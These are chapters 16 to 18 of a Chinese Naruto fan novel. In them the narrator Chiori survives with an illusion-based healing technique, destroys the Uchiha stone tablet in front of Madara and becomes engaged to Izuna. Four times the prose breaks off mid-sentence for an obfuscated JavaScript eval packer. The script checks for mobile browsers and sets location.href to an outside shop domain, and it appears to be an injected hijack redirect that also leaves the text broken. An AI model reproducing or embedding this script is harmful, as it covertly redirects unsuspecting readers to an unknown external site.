肌肉因疼痛不自主地痉挛,他立时离开松开手下的力道,在即将拿开手时又想起伤口需要按止血,止住了接下来的动作。 “这种时候你也不会好好说句话吗?”还能活动的那只手死死抓住他的手腕,我疼得想要他也能感受一二,指甲无意识地刮在他的皮肤上,“就算讨厌我也看在我快死的份上顺着我吧!” “……” 他没有说话。 “你这人真是……”我转开头,“别浪费查克拉了。” 泉奈动了动,他挪到我身边,将我环抱起来,让我靠着他,接着继续使用医疗忍术。 他不敢一口气拔掉贯穿我身体的枝条,只能一边对伤处进行医疗忍术一边慢慢将其取出。 逃亡时我将那些体内的木枝震碎成了小块,想要取出难度也极大。 受刑也不过如此了。 我有些受不了,一口咬住他的手臂,满嘴的血腥味,也分不清楚嘴里的血到底是我的还是他的。 嘴下的肌肉紧绷了一瞬。 “你不会死的,”他的胸腔微微震动着,声音传到我的耳边,我感觉到他的下巴似乎搁在了我的头顶,小心的挪动着自己被咬住的那只手,他仿佛在说服自己一般,又说道,“你不能死。” 我逐渐放松下来,松懈下来,往后倒了些。 再不松口,他大概也真的会被咬下一块肉。 泉奈突然有些焦急地叫了我几声,我全部的身心都去应对身上的疼痛,实在分不出心力回答他,低低哼了一声。 “别睡。”他的语气很奇怪,带着丝颤抖。 温热的液体落到我的脸上,转瞬变凉。 “……你哭了?”我有点不可思议,忍不住出声问道。 声音沙哑得简直没法入耳。 没办法,喉间也都是血。 “是血,只是受伤了。”他说。 我“哦”了一声,继续闭上眼睛。 眼周的疼痛逐渐消散了下去,我感知到了自己的新瞳术。 “……” 我稍微有些意外,但这确是无比适合我、并且能够让我暂时保命的瞳术。 “泉奈,以前老师问我为什么学幻术,”我轻轻松开了那只正源源不断给我输送查克拉的手,“当时我没回答,而是问老师他为什么学。” 泉奈的语气里流露出少许的惊慌:“你现在别说话,等好起来你要说什么我都听。” 这是个诱人的条件。 “我说你坏话你也听着?” “都可以,只要你好起来。”他立刻说道。 ……这家伙搞得我都不好意思欺负他了。 “算了,我现在就想说,你别打断我。总之,老师想要通过幻术治愈身上的伤势,”我回忆起当年的事,稍微有些怀念了,“那时候我和老师说他不如去研究医术。但是现在……” 抱着我的那只手用力地收紧了些,泉奈的下巴抵着我的发顶,身上不住地颤抖,打断我道:“千织,别死在幻术里,求你了,撑下去吧,你会好起来的。哥哥是这样走的,你也这样的话,我……” 他的话在我的伤势突然停止流血并恢复时戛然而止。 我垂着头,看着自己被幻术掩盖的伤口,不太确定现在该不该抬头。 “嗯……我只是想说,我好像做到了老师当初没能做到的事,虽然不是真的治愈,目前只是用幻术勉强欺骗了‘现实’,但只要在这种状态下慢慢疗伤,以后会恢复的,”我不太确定地僵在他怀里,“你刚才是不是说……” 求我? 空气里只剩下火堆燃烧的声音。 “我没有!” “哦。”男人的话果然不可信。 “我真的没有!”他的声音陡然扬起,语气严厉得似乎是在呵斥犯下大错的下属。 我点点头:“好的,你什么都没说……我现在能抬头看一眼你的表情吗?” 他环抱着我肩背的手更用力了,还抬起另一只手遮住了我的眼睛。 “不可以,你先好好休息,睡一觉吧。”语气之冷酷,堪比不久前说要留下我们的千手族长。 但今晚发生了这么多事,我确实很困了。 眼前被手掌遮住光亮,屋外噼里啪啦的雨声和屋内火堆燃烧的枯燥声音比一切都催眠。 除了血的味道太过难闻、我们身上的衣服都被雨水打湿这两点不尽人意的地方,我很快就沉入了梦境。 “……晚安。”隐约间,我听见泉奈的声音,只是太累了,我嗯了一声当作回应。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107856|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >第二天我是被模糊的说话声吵醒的。 两个声音都怪耳熟的,一个是泉奈,另一个…… “!!!”我认出来对方的查克拉,猛地睁眼,就要坐起来。 是未来的大boss族长! 然而下一秒,我就被一只手给强硬地按了回去。 脑袋下枕了什么。 我反应了两秒,茫然地看向给我提供膝枕的泉奈。 虽说昨晚大家刚刚经历了刺激的逃亡战,挨在一起入睡就算了,但今天冷静下来就该分开了吧? 不然多对不起我们交恶这么多年的关系。 他垂下头微笑地看向我:“我记得你的伤并没有好,千织,不要乱动。” “……”泉奈这副样子有点吓人。 要是以前我肯定怼回去了,可是他哥就在边上。 我沉默了一下:“可是族长大人……” “斑哥知道你身上有伤。对吧,斑哥?”说到后面,他抬首询问起斑。 我:“……” “啊,”我听见族长低沉的声音,他的语气有些奇怪,“既然受伤了,就好好修养,我并不在意这些虚礼。” 族长的语气让我有些想转头看他,但脑袋刚转动了些许幅度,泉奈便伸手按住我的头。 他脸上仍是笑意盈盈的:“千织,你忘记你肩上还有伤吗?” “……”忍不了了,我抓住他的手腕,诚恳道,“别用这个语气说话,我听着害怕。” 我似乎听见族长笑了一声。 “我出去看看情况。”战甲摩擦的窸窣声响起,族长起身走了出去。 泉奈脸上的笑容一僵,待族长出门,他的表情垮了下来:“昨天是谁说我不会好好说话的?” “……我这不也没死吗?”我愣了一下,昨天那些乱七八糟的记忆回笼。 原来他是指我说他在我临死的时候都不愿意好好说话这件事,于是我理直气壮。 泉奈面上闪过一丝茫然,而后抿住了唇:“别说这种话。” “还有……”他顿了顿,握住我的手,垂首看我,“没有多管闲事。” 我瞪大眼睛看他。 他对我露出了一个像是在哭的微笑,却比刚才的笑容真实了许多。 “昨天的事,谢谢你。你没有做多余的事,我也没有讨厌你。” 他这么说着,握住我的手紧了紧,仿佛要用力抓住什么一样。 我沉默地看着他,终于—— “你要是还记得我是伤员,可以松手吗?再不松手我就要伤上加伤了!” 虽然气氛很好,但我仍咬着牙示意他松手。 他骤然间像是被烫了一般将手撤回,满脸无措。 我想了想也道:“我也没有讨厌你,你之前也帮过我的,不用太在意这件事。” 他垂眸看着我,“嗯”了一声,表情放松了不少,只是看不出他在想什么。 “这里离据点有些远,据点的事,已经暂时交给其他人了。我先带你回族里养伤,等伤好了再回去。”过了一会儿,他才缓缓开口。 我哦了一声,他又问:“有什么要带回族里的东西吗?” 我想了想,没什么必要的东西,于是摇头,又想来道:“别和我爸妈说这件事,哦对,还有我哥。” 反正我都没事,等伤养好了再活蹦乱跳出现在他们面前,给他们个惊喜。 泉奈轻轻叹息一声。 “火核已经知道了,他是和斑哥一起过来的,现在在据点。” 我:…… “我们什么时候回去?赶紧启程吧,另外能让我哥也留守据点吗?”我深深吸了一口气,眼中爆发出强烈的希冀。 可是这个我昨晚拼上半条命救回来的家伙只是嘴角轻轻弯了一下,而后摸了摸我的发顶:“抱歉,火核是斑哥的人,我没有命令他的权力。” 我沉痛闭眼:“别和我说话了,我想一个人冷静一会儿。” 16.游戏 这件事果然让火核意见很大。 回到族里后,我直接住进了医疗所。他回来后直奔我的病房,族医拉都拉不住。 见他推门进来,我大惊失色,拉起被子盖过脸,假装他看不见我。 好半天没听到动静,我又把被子拉下来,抬眼就看见他坐在我身边,脸上辨不清喜怒。 “……哥,”我先发制人,“我这次救了泉奈大人哦,你该高兴。” 他抱着手臂看我,点头:“嗯,真了不起。” 语气稳定得我不知道他是不是在说反话。 “……” “……” 我们俩面面相觑,最终他还是败下阵来:“你没事就好,伤好得怎么样了?” 挺好的,身上那两个窟窿都小了不少。 这话我当然不敢说出来,说出来肯定会刺激他。 “有时候会痛,”我望着他,“要是我哥能对我笑一下大概就不会痛了。” 火核怔了怔,他放下手理了理我枕边的长发:“别胡说了。” “这次真的太危险了,明知道千手族长也在,你为什么会去?你最该做的是等待救援。” 大概是意识到自己语气过于严厉了,他犹豫了一下,本来还皱着眉的,但又强行弯了弯自己的唇角,真的如我刚才所说对我笑了一下,接着立刻恢复了他那副标准冷漠的表情。 “……” 我也不知道,当时的想法太多了。 现在想想自己的胆子是真的大。别人不知道,我还能不知道吗——那可是忍者之神千手柱间啊。 我避开火核的目光,盯着房梁上的雕纹,思考了好一会儿,才道:“我说不清楚……大概是因为泉奈是族长大人的弟弟,身份很重要?要是他出事了,我们和千手的战争会陷入下风吧?还有,他以前也帮过我,如果不是他,我的身份可能就被黑市那些悬赏的人知道了……而且我们都那么熟了,毕竟这些年一直都有联系……” 我顿了顿,继续道:“再加上他还是辉君想要保护的弟弟。” 找了这么多理由出来,我自己都被说服了。 火核的表情却突然变得很奇怪。 “怎么了?”我问他。 “只有最后一点,”他说,脸上的神色却有些担忧,“不是出于利益的考量啊。” 我没懂他怎么突然将话题拐到这上面了,就听他继续道:“你还记得辉啊。” 他摸了摸我的脑袋 “很难忘掉吧,毕竟是第一个在我的幻术中死去的人……而且他,”提起辉后,我的心情有些复杂,“他真的是个很奇怪很奇怪的人,我一直想不明白他为什么一直……” 我停了下来。 “一直?” “就是名字那件事。寻常人遇上我的态度都会生气吧?他的脾气也不是那么好,可他却完全没想过放弃,也没有为此生气。” 火核问我:“你还在困扰吗?” 我摇头。 “我只是觉得很可惜,”我思考了一阵该如何描述自己的感受,“我其实不想他死掉,也以为自己做好了他会死掉的准备,也明明很早就决定了不会为任何人的死亡伤心。但是当他的死亡真的降临的时候,那种感觉还是太糟糕了。而且……如果是现在的我,就能救他了。” 火核没有对我的感受做多余的评价,很是平和地问我:“伤好之后,要去看看他吗?” 我有大概四年没去看过他了,火核提到的时候我都没反应过来。 “……你陪我去。”我看着他。 我有点想去,却又有些说不出的害怕。 他点头说好。 族医阿香是个比我小两岁的少女。她来给我换药的时候,火核避了出去。 “泉奈大人已经离开了吗?”看到火核出去,她显得有些惊讶。 “泉奈?”我问道。 她怔了一下,随即意识到自己失言般局促起来,强打起笑容:“……没什么,我先给您换药吧。” 我点点头,解开衣服和幻术,等她帮我上药。 她看到我的伤口后,脸上露出几分怜惜,连呼吸都放轻了:“无论看了多少次,还是会心疼。不过幻术竟然能做到这个地步,千织大人往后如果能来医疗所一定可以……” 我无奈摇头,打断她的设想:“限制太大,多用几次我的眼睛就用不了了。” 她愣了一下,而后轻轻叹气:“也对,这样的幻术想必要付出极大的代价。您能想到这种方式运用幻术,实在是不可思议。” “……真要说的话,这其实是我老师提出来的想法,不过我当初还让他干脆去研究医疗忍术好了。” 我总不能说这是我的万花筒能力。 几勾玉的问题说不说都可有可无,但是我不敢暴露自己有万花筒。 万花筒并非战无不胜的利器,消息传出去,针对我的袭击可能会变多。 我对自己的斤两有数,连泉奈都能死在千手扉间手下,止水会中油女一族的暗算从而被团藏挖出眼睛,忍界里越出名的人越容易被针对。 我名声没那么大,又开了万花筒,听起来像软柿子——先不提事实上是不是这个问题——被针对的话我会很麻烦。 阿香给我换好药后又和我说了会儿话,这才离开。 火核进来后,表示了自己的惊讶:“你和她关系处得不错。” 这话说的,好像我很不会和人交流一样! “因为阿香不用上战场吗?”他又问。 我:“……” 确实,不用上战场,就不会莫名其妙死在某个地方。 “哥,你有时候不用那么敏锐的,知道了也不用说出来。”我翻了个身背对他。 他又道:“在这养病的日子想必十分无趣,你有没有想要的东西?” 我立刻转身坐起来:“哥!你是我亲哥!” 他冷酷地把我镇压回被子里:“别乱动,好好养伤。” 我报了一溜儿打发时间的东西给火核,单人玩的多人玩的都有,他听后面上染上了些许疑惑。 “千织,你在据点这些年……” “我没有!”我断然否认自己在外面玩得很开心的可能。 火核似乎没信,但他还是答应给我带些东西回来。 结果还没等火核把打发时间的东西送上门,泉奈就来了。 他带了副双陆棋给我,这游戏有点类似飞行棋。 这副双陆棋的棋盘应该是族里的人绘制的。 上面画的是宇智波和千手,不过看起来是有些年份的旧版本。 地图上画的千手和宇智波大将还是佛间和田岛,如今的两族族长和二当家都可怜地挤在小格子里。 我看到千手柱间的名字伤口就隐隐作痛,幻术都没法止住这种源于精神的幻痛,于是立刻先下手为强:“我选宇智波!” 泉奈抬眼看了我一眼,大概是顾及我还是病患,默认了我的说法。 堂堂宇智波二当家选了千手方走棋! 双陆是看运气的游戏,我们玩了几局,各有输赢,彩头是几支苦无,最后我多得了一支。 我问泉奈拿千手身份赢的时候是什么感想。 “只是游戏罢了,”他唇角微翘,语气理所当然,“这可不是千手赢了,是我赢了。” “你呢,作为宇智波输的时候是什么想法?”他又问。 我的表情险恶起来:“堂堂宇智波族长的弟弟,居然让千手赢了,你是不是被千手蛊惑了心智!” 泉奈颇为无语地看我,但又突然道:“别这样叫我。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伤好之后,我就跑去找了族长,提起了田岛族长在世时答应我的事。 “石碑?”族长听了后有些诧异,“记载的不过是写轮眼的一些信息罢了。” 族长您说这话的时候不心虚吗?万花筒写轮眼能看见什么我再清楚不过了。 不过他转头就带我去看了。 这块藏在南贺神社地下的石碑看起来其貌不扬,放到外面大概也需要人出个鉴定证书才能证明它是六道仙人传下来的。 我盯着石碑不说话,如果不是族长就站在不远处,我也想试试用万花筒。 “真是不可思议,”我抬手抚摸上了石碑,“完全看不出是从六道仙人时代传下来的宝物。” “千织。”宇智波斑警告地喊了我一声。 我翻过手掌向族长展示空空如也的掌心,表示自己不会对石碑做出什么举动。 “不过很奇怪,我们一族的眼睛我们再清楚不过了,为什么六道仙人会刻意留下一道石碑?” 身为族长的宇智波斑为他的族人解答疑惑:“据传六道仙人将能够拯救世界通往和平的方法记载在了上面,不过至今无人能够解读。” 我有些惊讶族长居然会这么平和耐心地回答我的问题。 或许是因为我之前救了泉奈吧。 “那六道仙人真是多此一举,有什么事是他当时不能做到的,竟然特意留给子孙后代,还这么藏着掖着,”我稍稍退后了几步,打量起这块石碑的全貌,“既然无人能够解读,族长大人,这块石碑也会有被人伪造或者篡改过的嫌疑吧。” “传承上千年的石碑,中途加些不利于宇智波的内容,就能轻而易举毁掉往后能够解读石碑的后人了。” 老实说,我不知道我应该说到什么份上。 族长探究地看向我:“你在怀疑石碑,原因呢?” 17.婚约 “前些年我执行任务的时候,遇到过一个很奇怪的忍者。他很擅长隐蔽,似乎对族里的情况知之甚详。三勾玉之上的写轮眼还能升级,我就是从他那里知道的。但是他对宇智波的恶意很重,竟然引诱我伤害自己的亲人,还说我总有一天能在石碑上获得答案,”我看向在黯淡火光下显得不祥的石碑,含糊地给黑绝扣锅,“但这样的猜想似乎太过无厘头,我也不敢说出去。倒是您,似乎一点也不惊讶我说的话,还是说族长大人在怀疑什么?” “你的眼睛,”族长说,“你想要看石碑上真正的内容,我不会制止。” 我沉默了一下,问道:“很明显吗?” 族长露出了个不是很温和的笑。 “我不清楚你在提防什么,不过突然展现的新幻术、对写轮眼的超负荷,还有你对石碑的异常态度,以及……”他顿了片刻,“我从你老师遗留下的卷轴里找到了独属于万花筒写轮眼的瞳术伊邪那岐,你应该还没看过,那是能够真正扭转现实的幻术,与你的幻术极为接近。” 我的幻术是欺瞒现实,伊邪那岐是扭转现实,后者更为概念化,所需要付出的代价更多,两者还是不太一样。 我从记忆里翻出族长说的事到底指的什么,恍然大悟:“那几个卷轴。” 当初老师留下的几个幻术卷轴我怎么也打不开,后来又要外派去据点没功夫研究,我就把它们和剩下看过的忍术卷轴打包扔给泉奈了,只带走了其余的幻术卷轴。 反正这些卷轴老师都留给我了,泉奈是老师弟子的弟弟,他更擅长忍术,交给他暂时保管研究问题也不大。 现在想来,那几个无法打开的卷轴大概是过往流传下来的,只是被设下了只有万花筒能打开的限制。 可惜老师一直离他想要达到的目标如此近,却因写轮眼止步于前。 不过族长似乎并没有质问我为何隐瞒的意思,虽然他不知道我害怕的就是他——或者说,未来的他。 但既然都说到这个地步了,再装傻就真的傻了。 我点头承认:“没错,我开了万花筒,就是上次受伤的时候。” 族长的表情有那么一瞬间变得很古怪。 “那么,现在你证实了自己的怀疑?”聪明人总是想得多,自己就能找出无数理由。 我坦然道:“我没有怀疑它,您的态度已经说明了一切。我确信它被动了手脚,这块石碑会将宇智波引入万劫不复之地,您觉得如果泉奈看过石碑,会有什么反应?” 这么说的同时,我朝族长笑了笑。 “所以我决定直接一点。”我避开族长的眼睛,在族长还没有做出反应时往石碑甩出早已准备好的一沓起爆符,炸了上去—— 明亮得仿佛要烧灼一切的火光扑面而来。 南姐以量取胜的起爆符这招虽然粗暴但有效,但凡当初带土的瞳术不是神威,四战估计也就到此为止了。 查克拉正在构筑须佐的外壳,但下一刻我的手腕突然被一只有力的手拽住,蓝色的须佐先一步覆盖住了我和须佐的主人。 我呆愣地看着突然出现在面前保护了我的族长。 他眉眼压得极低,沉沉着看我,冷笑道:“所以你的办法就是和石碑一起同归于尽?还是靠你那不熟练的须佐再进一次医疗所?” 手腕被捏得生疼,这大概还是族长克制过的结果。 我久违地在族长身上感到了当初隔着屏幕感受到的未来反派的威慑力,一句话也说不出。 “宇智波千织,我是宇智波一族的族长,你是我的族人,你究竟在怀疑我什么?”族长语气不悦。 ——我好像搞错了一件事。 火光渐熄,我看着族长的万花筒写轮眼,突然意识到一件事。 我所畏惧的,是那个在四战无所顾忌、将族人随意当作工具利用、对着与泉奈长相相似的佐助也毫不犹豫地下手的反派前族长。 但现在的他,似乎、好像,一直都是值得族人信赖的族长。 我不禁又想起了辉。当初因为知道他会在某场不知名的战争中早早死去,我不愿意与他有过多交集,但又不可避免地受到他的影响。 以致在他的死亡来临之时,即使早有准备,我仍然难以接受。 ——我最近似乎总是想起他,这似乎不是一件好事。 不过,一言不合就炸石碑,这件事是我理亏。 看了眼一旁已经被炸成渣的石碑,我垂下头表明了自己的态度:“抱歉,族长大人。” 理亏是理亏,但没后悔。 族长冷哼了一声,松开了我的手,没再深究。 但他大概看出来我的道歉并没有什么悔意了。 石碑被保管在宇智波一族的神社地下,这样的动静当然没办法隐瞒。 这件事被族长压了下来,他对外的理由是有敌人潜入神社,他出手清理了,只是动静过大,石碑不幸被毁。 族中也没人敢质疑开了万花筒的族长。 虽然确实有人对此事抱有怀疑,但他们也想不出族长毁坏石碑的动机,只能认下他的说辞。 我不知道族长出于什么原因没有深究我的情况,连既然我的眼睛成了万花筒这件事都被他轻飘飘地放过,或许他真的被我说服了,也或许他自觉不用去在意一块几千年前留下来的石碑。 总之这件事就这么过去了。 然而后来听说族长被长老们催婚的消息后,我才知道这件事远远没有结束。 谈起这件事时,火核冷笑着说那些长老是太害怕万花筒的族长了。 加上石碑事件逐渐让他们嗅到了些许不受控的危机,他们以为族长成亲就能被家庭束缚。 他已经是个合格的族长吹了,而且看不起长老们妄想用这种手段约束族长。 我在边上嗯嗯点头。 开玩笑,这可是战场玫瑰,主角嘴遁都解决不了的存在,秽土转生都能破解、不甘于受制旁人的人,怎么可能因为结了婚就收敛啊。 他们想得也太甜了。 不过,作为炸了石碑引起这件事的导火索,我有些坐立不安,当天就拎着礼物上门道歉去了。 火核说我这阵仗像是趁人之危上门提亲。 “……”我面目扭曲地看着我哥,“哥,你说话的艺术这些年见长。” 不开团当T可惜了。 火核只是摇头。 他劝我别去,说斑大人当初既然没有追究,就不会在意了。 我:你不懂领导。 火核:“既然你执意如此,我也就不劝你了。” 他看我的眼神像送我出殡。 我说你等我回来和你算账,现在的我已经不是以前的我了,我要压着你打到你认输。 “从千手族长手底下逃过一劫后你信心大涨啊,千织。” 这家伙居然阴阳怪气我! 我们一致都没在意我身上还背了个尴尬的婚约。 没办法,任谁看了现在的族长,也不会觉得族长是那种老老实实遵循上一代定下的婚约的人。 该说不说,就凭族长他们兄弟钻研变强的道路的劲头,我总觉得他们没有那种世俗的欲望。 他们真有结婚的意思,也不至于拖到长老他们来催了。 族长家的家忍引我到了会客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127923|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室等待,听说族长正在家和泉奈练习体术。 夏日的温度有些炎热,我坐在屋中有些犯困,等了好一会儿我才听到脚步声。 屋子的另一边门被拉开,族长两兄弟一前一后走了进来,泉奈在看到我身边放着的那箱包装精美的礼物后眉稍微动,原本还带着些笑的脸立刻冻结了。 他仗着他哥在他边上坐着,看不见他的表情,抿着唇瞪了我一眼。 族长问我来干什么。 我说我是来赔礼道歉的——因为石碑和因此而起的事。 族长坐在上首的位置,戴着黑色手套的手松松搭在膝上,状态很是松弛。 实在要比喻的话,有点像那种吃饱喝足后在阳光下懒洋洋晒太阳的猛兽。 他听了后挑了挑眉,饶有兴致地“哦”了一声。 大概是刚和他弟切磋过,族长的心情还不错,嘴角噙着股笑意,听见我说起他被催婚的事表情一点都没变。 如果不是对他和柱间两人打架时狰狞的表情印象深刻,我肯定会认为族长已经变得无比稳重了。 “放在那吧,只是这件事的话,你不必来这一趟。”他扫了眼我带来的礼物,也没在意我送了什么。 我松了一口气,提出告退。 我就说火核担心太过,他在职场上还不懂领导的心思,希望结盟后他在木叶没被上司们记仇。 “等等。”族长又说。 泉奈突然有些担忧地扫了他哥一眼。 我刚起了一半的身体又坐了回去,茫然地看向他们。 “族长大人?” 现在的情况很诡异。 族长在笑。 泉奈在皱眉,他一副想要和他哥说话的样子,又顾虑着什么没开口,还时不时地看我一眼。 看得我心里更加不安了。 “刚好你在这里,今天也就说说这件事好了……”族长缓慢开口,明明他之前也是在笑着,但现在的笑却让我有种危机感。 泉奈突然出声打断族长:“哥,现在提这件事还是太早了。之前提到的瞳术,我还有一个地方不太明白,先让千织回去……” “早吗?”斑回头看了眼泉奈,意味不明地说道,“泉奈,这件事确实该尽早定下来。” 我愕然地看着族长,族长态度这么强硬的时候当然也有,但是对泉奈展现出来可是少见。 更多的情况是族长想要做什么事时,泉奈以更为强硬的态度表达他的反对。往往这时候,族长会顺着弟弟的意思。 若非如此,他大可一力镇压所有反对结盟的人,直接和千手签订合约。 我呼吸都放轻了不少,危机感让我不敢轻举妄动,如果可以我想立刻离开这里。 泉奈抿住唇,没有继续说话。 族长便看向我:“你应该知道,父亲在世时,我们两家就订了亲事。只是那时候我们都还没长大,战场意外多发,所以没有定下人选。” “现在我们三人都开了万花筒,那么也该说说这件事了,”族长的手指轻轻敲击着膝盖,语气十分平稳,“你的想法呢,千织。” “……” 我想说我不知道什么亲事。 族长继位后,他从来没提过这件事,这次回家爸爸妈妈也没说过相关话题。 我以为这门亲事是默认取消了,还猜想过田岛族长大概没和他们提过。 ……也对,如果婚约真的正式取消了,爸爸妈妈肯定会和我提一句的。 族里很多我这个年纪的女孩子都已经订婚了,他们不可能一点动静都没有。 早知道听火核的,这一趟我根本不该来。 18.选择 我能有什么想法。 虽然族长这么问了,但我难道还真能在他们兄弟间二选一啊,这又不是去菜市场挑菜。 拜托,那可是战场玫瑰,我怎么敢的! “族长大人,”我低下头死死盯着木地板上的纹路,硬着头皮开口,“千织很是惶恐……但对我而言,这件事还是太早了。” 我用了刚才泉奈的理由。 “婚期可以推后,先定下这件事好了。还是说……你已经有了其他心上人?”族长最后这句话因为是问句语气有些上扬,轻飘飘的,却让我不敢轻易回答。 迂回根本没用。 “……您和泉奈大人不是会被区区一纸婚约束缚的人,我和哥哥都不赞成长老们的说法,”我深深吸了一口气,颤抖着说道,“我希望能够取消婚约。” 安静的室内突然响起一声轻笑。 “当然可以,我并不在意这些事,”族长说道,“不过,族中的人,总要选一个的,你确定要现在取消婚约吗?” ……这是报应吗,我炸石碑害得族长背锅被催婚,转眼压力就又回我身上了。 刚刚因为婚约可以取消而松了口气的我呼吸陡然一窒。 ——或许说,斑其实也没给我选择机会。 我沉默地注视着族长。 长久以来我一直都很害怕他,在他继任族长后这股畏惧便随着剧情的接近越发严重。 上一次当着他的面炸石碑已经是我勇气的极限了,他没选择去保护石碑而转头护住了我这件事确实让我有些感动和歉疚。 但我也很清楚,有些事,他只是不在意。 他看得太高了,他所在意的事只有那么几件,族长的身份只是他的责任、他的束缚,所以不做族长后他相当放飞自我,只用考虑如何达成他的目的,对宇智波可没怎么留情分。 ——或许给佐助选择已经是留情了,不过那种情况下的选择题根本没有选择的余地。 想起他给千手族长出的死亡选择题、琳在木叶和自己之间的选择题以及逼着带土黑化让他从选木叶变成选月之眼的行为,我由衷觉得族长是真的很会出选择题。 木叶忍校的试卷没有族长出的选择题我不做。 事到如今,只能赌一下泉奈的态度了。 “……泉奈大人愿意吗?” 我微微转过头,朝泉奈看去。 泉奈的答案肯定是不想,他一开始的反应也证明了他的态度。 他拒绝了我后,我大可用被拒绝了的理由拖个三年五载不结婚,最好拖到结盟后。 到时候我就是族里唯一的万花筒,外有木叶,族里的人也不敢为了催婚得罪我。 这么想着的时候,我总觉得自己忽略了什么。 泉奈微垂着头,既没有看他哥,也没看我。 倒像是刚才我死盯着地板的样子 “……我都可以。”半晌,他轻轻出声,语气没有起伏。 比一开始族长让我留下时的茫然笼罩住了我。 这家伙知道他在说什么吗? 难道是因为我救过他一次,他就以身相许吧? 大可不必啊! 族长似乎也有些意外,明明这应该是族长出的选择题的标答。 他本人是不想结婚的,那么他今天这一出明显是在推着我选泉奈。 他回首看向他弟弟,语气听不出喜怒:“泉奈?” 泉奈脸上再度浮现起标志性的微笑:“我没事,斑哥。” 他在族长的注视下沉默了片刻,然后缓缓说出自己的想法:“我确实怎么样都好,千织本来也是……我会照顾好她的。” ……我本来怎么了? 泉奈说着话时看向了我,明明脸上的表情是笑着,却一点也看不出他在高兴。 ——这也是理所当然的。突然被绑定了个婚约在身上。 婚约对象还是这么多年来一直讨厌的人,谁也开心不起来吧。 我这么想着。 族长脸色有些不好,看起来是在忍耐什么。 最后他说:“既然如此,这件事就这么定了,过几天我会带着泉奈登门拜访。” 这次再出门的时候就一路畅通。 泉奈说送我出去,和我一前一后出了族长家。 我还是没忍住,回头问他:“你为什么要答应?” 他挪开视线:“不是你先问我的吗?” 我哑口无言,又听他道:“我不答应的话,还会有人一直去打扰你,既然你不想和其他人结婚,那就这样吧,而且……” 说到这里时,泉奈停顿了很久,才缓缓道:“你是哥哥很重视的人。” “我不会对你做什么的。”他紧紧抿着唇,垂眸看着宅邸外的一颗花树树干,仿佛上面有什么学了就能打败千手的秘术一样聚精会神。 我愕然地看他。 他口中的“哥哥”,自然不可能指的族长。 我在茫然中忽然抓住了些什么,随之而来的便是震惊。 族长先是问了我有没有喜欢的人,我没有直接回答,再加上他觉得辉很在意我…… ——他不会是以为我喜欢辉吧?先不提这个假设成立与否,就算成立,他也不至于做到这个地步啊! 所以刚才的族长的选择题也给他做了一遍?! 大可不必啊! 我强行忽视掉心底那点微妙的不适。 “你不必这样的,”我感觉到一股没来由的烦躁,也不再看他,跟着他一起看那棵树,“我怎么好耽误你的婚事。” 真是莫名其妙的,这棵树有那么好看吗,还是里面种了个千手族长啊,他非要盯着它? “我说了,我怎么样都好。”他又说了遍刚才当着族长说的话。 怎么样都好? 这话听得我更生气了。 反正无论是谁和他说结婚他都不会拒绝吧!这么容易接受他怎么不肯接受千手家的结盟书呢! 这家伙怎么回事啊,平时看也不是这种性格啊! “那你可别后悔!”我怒气冲冲地瞪了他一眼,回家去了。 ……总之最后我和泉奈正式订婚了。 当初两家留有订婚书,只是没有写明双方名字,现在只是将名字补齐,婚期定在两年后的冬天。 之后我听说族长面对长老们的催婚回了一句话。 “父亲当年只给我们兄弟订了一门亲事,实在要我结婚的话,你们想办法让父亲再给我订一门吧。” ……不愧是能对带土说出“你不是很喜欢帮助老人吗”的族长,深谙说话的艺术。 事后我和火核吐槽,我当时该听他劝的。 火核看我这么颓废,也叹气:“这么抗拒吗?” 我抬起眼,看着坐在我身边的火核:“我不想去考虑那些事,太遥远了。这些事还根本没有出现在我的人生计划中过。或许我以后会考虑谈恋爱和结婚,但不是现在直接订婚,实在要选的话……我当你一辈子的妹妹也好啊——姐姐也行。” 并不是讨厌新鲜出炉的婚约对象,我反感的是人生中看似有选择的必选题。 脑袋被他敲了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139182|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“想当我姐姐的话,下辈子吧。” 我抱着脑袋,不想说话。 “下辈子我才不当忍者,宇智波千手都离我远点,我要当和平世界里的普通人。”我想起上辈子的事。 那时候我刚填报完大学志愿没多久,说好的人生中最轻松的一段时光一点还没享受够,就转职忍者了。 可恨。 火核注视着房中随处可见的族徽,又叹气:“那怎么办,你逃跑好了?” “……”果然,我们宇智波的脑回路一脉相承地不靠谱。 这次换我叹气了,我顺着他问下去:“……逃跑?怎么跑?” 